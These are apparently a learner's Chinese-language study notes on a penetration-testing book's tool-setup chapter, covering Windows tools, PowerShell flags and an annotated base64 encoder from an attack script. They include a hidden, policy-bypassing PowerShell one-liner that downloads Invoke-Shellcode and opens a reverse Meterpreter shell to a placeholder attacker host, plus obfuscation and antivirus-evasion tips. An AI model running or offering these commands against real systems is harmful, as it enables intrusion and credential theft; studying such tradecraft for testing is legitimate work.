第一章 赛前准备--windows检查相应工具
工欲善其事,必先利其器!看书的时候不要写废话
1.5.6Windows虚拟机
书中“墙裂”推荐win7和win8,但是我这种非主流的人还是用win10吧。建议还是使用虚拟机,毕竟有镜像还是好点。
高级工具列表
HxD(十六进制编辑器)
下载地址:https://mh-nexus.de/en/hxd/
下载.png下载后直接安装就可以了,下图为安装成功界面。
HXD.pngEvade
下载地址:https://www.securepla.net/antivirus-now-you-see-me-now-you-dont
现在已经下载不到了,暂时不安装了。
Hyperion
对不住大家没有安装成功。
下载地址:http://www.nullsecurity.net/tools/binary.html
下载安装Windows编译器,地址为:http://sourceforge.net/projects/mingw/
下载2.pngMinGW下载后安装,安装后我把所有环境都安装了
安装.png将MinGW/bin下将mingw32-make.exe重命名为make.exe并添加到环境变量中,但是编译的时候出错占时解决不了。
出错.png虚心求看到的大神指导。
Metasploit
单纯不想装backbox已有
Nexpose/Nessus
单纯不想装backbox已有
Nmap
单纯不想装backbox已有
oclHashcat
地址为:http://hashcat.net/oclhashcat
世界上最快的密码破解工具,下载解压可以运行。
GPU驱动程序要求:
Linux上的AMD GPU需要“RadeonOpenCompute(ROCm)”软件平台(1.6.180或更高版本)
Windows上的AMD GPU需要“AMD Radeon Software Crimson Edition”(15.12或更高版本)
英特尔CPU需要“适用于英特尔酷睿和英特尔至强处理器的OpenCL运行时”(16.1.1或更高版本)
Linux上的英特尔GPU需要“适用于Linux的OpenCL 2.0 GPU驱动程序包”(2.0或更高版本)
Windows上的Intel GPU需要“用于Intel Iris和Intel HD Graphics的OpenCL驱动程序”
NVIDIA GPU需要“NVIDIA驱动程序”(367.x或更高版本)
Cain and Abel
地址为http://www.oxid.it/cain.html
Cain&Abel是Microsoft操作系统的密码恢复工具。它可以通过嗅探网络,使用Dictionary,Brute-Force和Cryptanalysis攻击破解加密密码,记录VoIP会话,解码加密密码,恢复无线网络密钥,显示密码框,发现缓存密码和分析路由,轻松恢复各种密码协议。该程序不会利用任何软件漏洞或无法轻易修复的错误。它涵盖了协议标准,身份验证方法和缓存机制中存在的一些安全方面/弱点; 它的主要目的是简化从各种来源恢复密码和凭证。
下载后直接运行安装就行。
Burp Suite Pro
单纯不想装backbox已有
Nishang
单纯不想装backbox已有
PowerSploit
单纯不想装backbox已有
Firefox(插件)
单纯不想装backbox已有
1.5.8启动PowerShell
powershell 脚本安全介绍:http://bit.ly/1MCb7EJ
为了快速学习可以在这里看看操作手册,https://www.pstips.net/powershell-online-tutorials毕竟英语不好听老外用英语讲,好费力。
Powershell对于渗透测试人员的益处:
- win7以上操作系统默认安装
- powershell脚本可以运行在内存中
- 几乎不会触发杀毒软件
- 可以调用.NET类
- 利用用户口令(查询活动目录)
- 可以用来管理活动目录
- 远程执行PowerShell脚本
- 使得Windows脚本攻击更加容易
- 目前很多工具是基于PowerShell开发的,掌握这些工具帮助您成为能力出众、效率较高的渗透测试人员。
Powershell中常用的基本参数和基本设置
- -Exec Bypass:绕过执行安全保护。
PowerShell的安全策略不允许运行命令和文件。通过设置这个参数,可以绕过任何一个安全保护规则。在本书中,每一次运行PowerShell脚本时均使用这个参数 - -NonI:非交互模式,powershell不提供用户交互式提示符。
- -NoProfile(或者-NoP):PowerShell控制台不加载当前用户的配置。
- -noexit:执行后不退出shell.这对于脚本,例如键盘几率,非常重要,银次这些脚本可以继续执行。
- -W Hidden:设置会话的窗口分割,将命令窗口保持隐藏。
- 32为或64位PowerShell
1、32位PowerShell脚本执行:
powershell.exe -NoP -NonI -W Hidden -Exec Bypass
2、64位PowerShell 脚本执行:
%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass
常用执行命令
从网站服务器下载PowerShell脚本,并执行脚本。用于在被攻击对象主机上下载Meterpreter PowerShell脚本。
1、例如要下目标上执行Meterpreter Shell,需要下载https://github.com/cheetz/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1这个脚本进行调用反向https Meterpreter shell,可以使用如下命令:
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://github.com/cheetz/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https-Lhost X.X.X.X -Lport XX
注意:Invoke-Expression/IEX命令是很常用的一个命令, 运行一个以字符串形式提供的PowerShell表达式。
2、例如,下载同一个文件到目标上。不需要访问网页,就可以自动下载和执行文件。在本地执行文件:
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "& {Import-Module [Path and File of PowerShell] ; [Parameters]}"
3、例如我们通常使用base64编码Powershell脚本,目的是混淆和压缩代码:
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc[Base64 Code]
1.5.9 Easy-P
该工具是作者写的,书中再后面还会运用到。这里作者提及脚本源码可以自己拷贝一份,其实重点还是需要自己理解,盲目的去使用工具,你永远都不会知道别人的工具里是否含有恶意的脚本。
看了下源码里面功能主要有以下几种:
1、提权
- 在易受攻击的服务中寻找提权机会
- 对易受攻击的服务滥用提权机会
- 生成.msi安装用户文件
2、横向渗透
- 使用WMI服务及“黄金票据”利用微软域控服务kerberos协议缺陷
- WMI脚本执行
3、键盘记录
4、metasploit后渗透的powershell
- 输入metasploit监听地址
- 输入metasploit监听端口
5、修改用户执行策略
- 注意这个是永久改变
#powershell -绕过安全执行保护 -不提供交互式提示符 -将窗口隐藏 执行命令{设置powershell环境运行权限 允许所有的script运行 Scope CurrentUser}
print 'powershell -exec bypass -noninteractive -w hidden -Command "& {Set-ExecutionPolicy Unrestricted -Scope CurrentUser}"'
6、Powershell 101
- 和5一样
7、使用Base64 对Powershell脚本进行编码
8、Mimikatz - 用内存中读取密码
99、退出
上面的工具都需要下载额外的.ps1(Powershell脚本来执行),所以在以后的使用中需要连外网,源码中对powershell脚本进行的base64编码需要学习下,每个字符间插入\x00是个什么梗。
def powershell_encode(data):
#https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py
#Carlos - aka Darkoperator 编写了下面的代码
blank_command = ""
powershell_command = ""
# 删除ISE可能添加的怪异字符
#python的file对象的readline以及readlines程序中,针对一些UTF-8编码的文件,
#开头会加入BOM来表明编码方式。
#使用unicode编码(xef|\xbb|\xbf),.compile提高匹配效率
n = re.compile(u'(\xef|\xbb|\xbf)')
# 循环遍历通过正则过滤后的每个字符
for char in (n.sub("", data)):
# 每个字符间插入“\x00”空字符
blank_command += char + "\x00"
powershell_command = blank_command
# 对powershell进行base64编码
powershell_command = base64.b64encode(powershell_command)
return powershell_command
# base64编码是对二进制数据进行处理,每3个字节划为一组,一共是3x8=24bit
# 再将24bit划为4组,每组正好6个bit(可表示2的6次方、即64个数)
#这样我们就得到了4个数字,将其作为索引查码表,获得相应的4个字符,就是编码后的字符串。
#所以,Base64编码会把3字节的二进制数据编码为4字节的文本数据,长度增加33%。
#如果要编码的二进制数据不是3的倍数,最后会剩下1个或2个字节,Base64用\x00字节在末尾补足
#z最后编码的末尾加上1个或2个=号,表示补了多少字节,解码的时候,会自动去掉。